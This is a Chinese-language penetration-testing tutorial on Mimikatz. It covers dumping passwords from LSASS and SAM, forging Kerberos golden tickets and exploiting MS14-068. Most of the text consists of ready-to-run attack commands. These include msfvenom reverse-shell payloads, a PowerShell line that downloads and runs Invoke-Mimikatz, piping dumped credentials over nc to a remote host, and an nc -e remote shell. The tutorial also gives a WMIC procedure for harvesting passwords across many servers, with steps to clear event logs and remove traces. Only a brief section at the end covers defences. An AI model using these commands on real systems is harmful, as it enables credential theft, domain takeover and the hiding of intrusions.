第01课:Mimikatz

第01课:Mimikatz 获取系统密码攻防研究

Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取 WindowsXP-2012(2016 做了安全防护,需要修改注册表值,重启后生效,可以获取明文密码)等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期 1.0 版本到现在的 2.1.1 20180205 版本,其功能得到了很大的提升和扩展。

Mimikatz 最新版本一共三个文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分为 Win32 位(多了一个 mimilove.exe 文件)和 X64 位。通过它们可以提升进程权限、注入进程读取进程内存,可以直接从 Lsass 中获取当前登录过系统用户的账号明文密码。Lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登录策略,通常我们在登录系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而 Mimikatz 正是通过对 Lsass 的逆算获取到明文密码!

本文以 Mimikatz 最新版为例,介绍了 Mimikatz 的参数、获取密码以及伪造黄金票据获取域控密码等用户,利用 ms14-068 结合 Mimikatz 获取域控密码等,最后文中还给出了相应的防范方法,对网络攻防都具有一定的借鉴意义。

下载及安装

请单击这里获取最新版下载地址

下载后解压缩即可,里面分为 Win32 和 X64,Win32 是针对 Windows32 位,而 X64 是正对 64位操作系统,目前绝大部分操作系统为 64位(支持大内存的使用)。其相关资源如下:

使用参数详解

本次测试使用 Win32 版本,将程序解压后,通过 cmd 进入当前目录,执行 Mimikatz 程序,如图1所示,随便输入即可获取帮助信息。

enter image description here

图1 显示帮助信息

基本命令

  • exit:退出 Mimikatz。
  • cls:清除当前屏幕。
  • answer:对生命、宇宙和万物的终极问题的回答。
  • coffee:显示 coffee 图案。
  • sleep:默认睡眠 1000ms,后跟时间参数。
  • log:记录 Mimikatz 所有的输入和输出到当前目录下的 log.txt 文件。
  • base64:将输入/输出转换成 base64 编码。
  • version:查看 Mimikatz 的版本
  • cd:切换或者显示当前目录。
  • localtime:显示系统当前时间和 UTC 时间。
  • hostname:显示主机的名称。

使用模块

输入“::”显示其支持模块信息。

(1)standard:标准模块,基本命令,不需要模块信息。

(2)crypto:加密模块,其后跟以下参数,其使用命令为 crypto:: 参数名,例如 crypto::providers,如图2所示。

enter image description here

图2 参考加密算法提供类型及名单

  • providers:该命令列出所有 CryptoAPI 提供者。
  • stores:列出系统存储中的逻辑存储,crypto::stores /systemstore:local_machine。
  • certificates:显示或者导出证书。
  • keys:列出或者显示密钥。
  • sc:此命令列出系统上的智能卡/令牌读取器或将其移出系统;当 CSP 可用时,它会尝试在智能卡上列出密钥。
  • hash:显示当前用户的的哈希(LM、NTLM、md5、sha1、sha2)计算值。
  • system:描述 Windows 系统证书(注册表或者 hive 文件)。
  • scauth:从 CA 创建一个认证(智能卡等)。
  • certtohw:尝试将软件 CA 导出到加密(虚拟)硬件中。
  • capi:修补 CryptoAPI 程序方便导出。
  • cng:修补 CNG 服务方便导出。
  • extract:从 CAPI RSA/AES 提供者获取密钥。

(3)sekurlsa 枚举用户凭证

  • sekurlsa::msv:获取 LM & NTLM 凭证,可以获取明文密码。
  • sekurlsa::wdigest:获取 WDigest 凭证,可以获取明文密码。
  • sekurlsa::kerberos:获取 Kerberos 凭证。
  • sekurlsa::tspkg:获取 TsPkg 凭证。
  • sekurlsa::livessp:获取 LiveSSP 凭证。
  • sekurlsa::ssp:获取凭证。
  • sekurlsa::logonPasswords:获登录用户信息及密码,如果是在系统权限或者 psexec 进入的系统权限下,直接使用该命令,而无需运行 privilege::debug,否则需要运行该命令。
  • sekurlsa::process:切换或者恢复到 lsass 初始状态。
  • sekurlsa::minidump:切换或者恢复到 minidump 初始状态。
  • sekurlsa::pth:Pass-the-hash
  • sekurlsa::krbtgt:krbtgt!
  • sekurlsa::dpapisystem:显示DPAPI_SYSTEM密码值。
  • sekurlsa::tickets:显示 Kerberos 票据。
  • sekurlsa::ekeys:显示 Kerberos 加密密钥。
  • sekurlsa::dpapi:显示内存中的 MasterKeys。
  • sekurlsa::credman:显示管理员凭证。

(4)kerberos:Kerberos 包模块

(5)privilege:特权模块

  • Privilege::debug:请求调试权限。
  • Privilege::driver:请求装载驱动权限。
  • Privilege::security:请求安全权限。
  • Privilege::tcb:请求 tcb 权限。
  • Privilege::backup:请求 backup 权限。
  • Privilege::restore:请求恢复权限。
  • Privilege::sysenv:请求系统环境权限。
  • Privilege::id:请求 id 特权,参数后跟具体的 id 值,例如请求特权 8:privilege::id 8。
  • Privilege::name:请求指定名称的权限。

(6)process:进程模块

  • process::list:列出进程。
  • process::exports:导出进程列表。
  • process::imports:导入进程列表。
  • process::start:开始一个进程,后跟进程名称。
  • process::stop:终止一个进程,process::stop /pid:1692(结束 pid 为1692的进程)。
  • process::suspend:挂起一个进程。
  • process::resume:恢复一个进程。
  • process::run:运行一个进程。

(7)service:Service module

  • service::start:开始服务。
  • service::remove:移除服务。
  • service::stop:停止服务。
  • service::suspend:暂停服务。
  • service::resume:恢复服务。
  • service::preshutdown:预关闭服务。
  • service::shutdown:关闭服务。
  • service::list:列出服务。
  • service::+ - 安装 Mimikatz 服务。
  • service::- - 卸载 Mimikatz 服务。

(8)lsadump:LsaDump module

Lsadump::sam:该命令转储安全帐户管理器(SAM)数据库,它包含用户密码的 NTLM,有时包含 LM 哈希。

在线命令提升模式获取:

privilege::debug
token::whoami
token::elevate
lsadump::sam

离线获取,通过以下方式备份 SYSTEM&SAM 配置:

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

或者使用 Volue Shadow Copy / BootCD 来备份这些文件:

C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM

然后执行 mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv 即可获取。

可在线进行破解查询

  • Lsadump::secrets:从 registry 或者 hives 获取保存的密码凭据,可以直接获取明文密码。
  • Lsadump::cache:获取内存中的密码值。
  • Lsadump::lsa:从 lsa 服务器获取密码,lsadump::lsa /inject /name:krbtgt。
  • Lsadump::trust:Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys rpdata。
  • Lsadump::dcsync:Ask a DC to synchronize an object。
  • Lsadump::dcshadow:They told me I could be anything I wanted, so I became a domain controller。
  • Lsadump::setntlm:Ask a server to set a new password/ntlm for one user。
  • Lsadump::changentlm:Ask a server to set a new password/ntlm for one user。
  • Lsadump::netsync:Ask a DC to send current and previous NTLM hash of DC/SRV/WKS。

(9)ts 终端服务模块

  • ts::sessions:显示当前的会话。
  • ts::multirdp:允许多个用户使用 rdp,安装 rdp 补丁。

(10)event 事件模块

  • event::drop:启用事件补丁服务,不再记录新产生的事件。
  • event::clear:清除时间日志。

(11)misc 杂项模块,打开 cmd、regedit、taskmgr、ncroutemon、detours、wifi、addsid、memssp、skeleton 等。

(12)token:令牌操作模块

  • token::whoami:显示当前的身份。
  • token::list:列出系统所有的令牌。
  • token::elevate:冒充令牌。
  • token::run:运行。
  • token::revert:恢复到进程令牌。

(13)vault:Windows 信任/凭证模块,Vault::list 列出 Windows 信任/凭证。

(14)net 显示 user、group、alias、session、wsession、tod、stats、share、serverinfo 等信息。

Mimikatz 获取密码

旧版本配合 psexec 密码获取方法及命令

  • 到 tools 目录,psexec \127.0.0.1 cmd
  • 执行 mimikatz
  • 执行 privilege::debug
  • 执行 inject::process lsass.exe sekurlsa.dll
  • 执行 @getLogonPasswords
  • widget 就是密码
  • exit 退出,不要直接关闭否则系统会崩溃

bat 脚本获取法

(1)创建 get.bat 脚本

@echo off
mimikatz.exe <command.txt >pass.txt
exit

(2)创建 command.txt 文件

privilege::debug
inject::process lsass.exe sekurlsa.dll   
@getLogonPasswords
Exit

(3)执行 get.bat 文件即可获取密码,pass.txt 记录的即为获取的密码,get.bat、command.txt 和 mimikatz.exe 在同一个文件夹下。

Mimikatz 2.0 以上版本获取系统明文密码

(1)sekurlsa 获取

privilege::debug
sekurlsa::logonpasswords

(2)Lsadump 获取密码

Lsadump::secrets

利用 ms14-068 漏洞进行攻击

(1)生成tgt_zhangsan@admin.com.ccche票据

ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com

(2)导入票据

mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche

使用 ps1 批量获取 Windows 密码

在 Windows 2008 及以上操作系统中执行命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

注意:获取密码的计算机必须能够访问 raw.githubusercontent.com 网络,也可以将该 ps 文件下载到其他地址,然后替换后执行。该脚本目前在 Win2014 中只能获取 NTLM 值,无法获取明文密码,如图3所示。

enter image description here

图3 通过 ps 脚本获取密码值

MSF 下 Mimikatz 获取密码

(1)需要生成一个反弹的可执行程序或者通过漏洞直接获取一个反弹的 shell。下面是通过 msfvenom 生成 shell:

(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

在架构中比较好用的有两个cmd/powershell_base64和x86/shikata_ga_nai,下面生成一个实例(反弹的服务器 IP 为 192.168.106.133):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe

(2)运行 msfconsole 并设置:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.106.133
set lport 4444
run或者exploit

(3)在测试计算机上运行 exe 文件。

(4)在 msf 获取反弹的 shell,如图5所示。

  • getuid 获取当前帐号为系统权限,则进行后续操作,否则通过 ps 命令去获取小于 1000 以内的 pid,执行 migrate pid 来提升权限后,继续执行后续步骤。
  • load mimikatz。
  • 运行 mimikatz 下面的凭证获取命令:
  kerberos   获取网络认证协议凭证,其中可能会有明文密码
  msv        获取msv 凭证,其中包含LM和NTLM哈希密码值
  wdigest    获取wdigest (摘要式身份验证)凭证,其中可能会有明文密码
  • 还可以执行 hashdump 来导出系统的哈希密码值。

使用 Mimikatz 伪造 Kerberos 黄金票据

以域控 test.local 为例子,mimikatz 在 c:\test\ 目录下。

导出 krbtgt 的 Hash

在域控上执行通过 mimkatz 输出:

mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"

找到如下信息:

/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f

生成 Golden Ticket

伪造的用户设置为 god,执行:

mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"

生成文件 gold.kirbi。

伪造 Golden Ticket 获得域控权限,导入 Golden Ticket,执行如下命令:

kerberos::ptt c:\test\gold.kirbi

ms14_068 获取域控密码

利用 ms14_068 漏洞获取域控权限

目前网上有 Python 脚本的利用方法,其下载地址请单击这里,具体方法如下:

(1)获取 SID

  • 方法1:wmic useraccount where name="USERNAME" get sid
  • 方法2:whoami /all 或者 whoami /user 本机可以直接查出自己的 SID;例如获取 SID 值为:S-1-5-21-3314867233-3443566213-336233174-500。

(2)生成 tgt 文件

ms14-068.py -u antian365@antian365.local -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local

会在当前命令目录生成一个 TGT_ antian365@ antian365.local.ccache 文件,将该文件复制到 mimikatz 目录。

(3)导入 tgt 文件

mimikatz.exe log "kerberos::ptc TGT_ antian365@ antian365.local.ccache" exit

(4)查看并获取域控权限

net use \\DC2. antian365.local\admin$    //注:使用IP可能会失败 
dir \\DC2. antian365.local\c$

(5)klist 查看票据,klist 仅仅在 Win2008 以上可以查看。

MSF 漏洞模块利用

(1)使用 ms14_068 模块

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set DOMAIN DEMO.LOCAL
set PASSWORD antian365
set USER antian365
set USER_SID S-1-5-21-3314867233-3443566213-336233174-500
set RHOST WIN-T.demo.local 
run

生成一个形如time_default_ip_windows.kerberos_num.bin的文件。

(2)导入 bin 文件

kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/ 

保存为 0-00000000-antian365@krbtgt-DEMO.LOCAL.kirbi 文件。

(3)使用生成的 kirbi

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
exploit
getuid
load mimikatz
kerberos_ticket_use /tmp/0-00000000- antian365@krbtgt-DEMO.LOCAL.kirbi
background
sessions

(4)获取域控权限

use exploit/windows/local/current_user_psexec
set TECHNIQUE PSH
set RHOSTS WIN-T.demo.local
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
set SESSION 1
exploit
getuid

Mimikatz 使用技巧

(1)获取并记录密码到 mimikatz.log 文件

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir

(2)输出到本地 log.txt 文件

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt

(3)记录新密码到文件

有时候获取的哈希是旧的,这时需要记录新的登录哈希值,可以使用以下命令来记录,记录的结果在 c:\windows\system32\mimilsa.log。

mimikatz.exe
privilege::debug
misc::memssp

(4)通过 nc 命令将 mimikatz 执行结果传输到远程

  • 取结果服务器(192.168.106.145)执行监听命令
nc -vlp 44444
  • 在想获取密码的服务器上执行
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444

(5)通过 nc 命令远程执行 mimikatz

  • 在黑客反弹计算机(192.168.106.145)上执行 nc.exe -vlp 4444
  • 在被攻击计算机(192.168.106.130)上执行 nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe

接着就会反弹到 192.168.106.145 的 4444 端口,出来一个 cmd 的窗口,可以在该窗口进行密码获取,如图4所示。

enter image description here

图4 nc 反弹执行命令

(6)批量获取域控密码

通常在域渗透的时候,我们可能想要获得更多的密码,针对 server08 以后的服务器获取 ntds.dit 的 hash 以后还不一定能破解出来,所以可以通过 Mimikatz 来获取明文密码,但是一台一台登录去获取会很慢且不方便,所以这里介绍一个批量的方法:

1)创建共享文件夹:

cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t

修改注册表:

reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open
reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1

修改共享目录到 open。

2)在共享目录添加下列文件:

  • 执行脚本 powershellme.cmd,脚本内容:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1

IP 是设置共享的主机 IP 地址。

  • Invoke-Mimikatz.ps1
  • mongoose
  • 服务器列表 serverlist.txt,换行分割

3)运行 mongoose,默认开启端口 8080。

4)执行 wmic:

wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd"

带凭证:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd"

5)在共享目录看各个服务器的密码吧。

6)清除记录:

  • 关掉 mongoose 并删除
  • net share open /delete
  • 删除共享目录及文件
  • 修改注册表

PS:可以使用如下命令开启 PowerShell remoting:

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"

Linux 版本的 Mimikatz 密码获取工具 mimipenguin

mimipenguin

Mimikatz 的 Linux 平台仿造版本 mimipenguin(由 @HunterGregal 开发),mimipenguin 需要 root 权限运行,通过检索内存、/etc/shadow 文件等敏感区域查找信息进行计算,从而提取出系统明文密码。软件下载地址请单击这里,下载后运行 mimipenguin.sh 即可,如图5所示。

enter image description here

图 5 Linux 下直接获取密码

支持版本

Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
Archlinux x64 Gnome 3 (Gnome Keyring 3.20)
OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)

安全防范 Mimikatz 获取密码

参考作者及网上安全防范方法主要有以下三个方法:

  • 用户被添加到保护用户组,将域控升级到 Active Directory 2012 R2 功能级别,然后将重要用户添加到保护用户组。
  • 安装 KB2871997 补丁程序。
  • 修改注册表键值

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest下新建 UseLogonCredential 值,其类型为 Dword32 位类型,值为 0 即可。

参考文章:

上一篇
下一篇
目录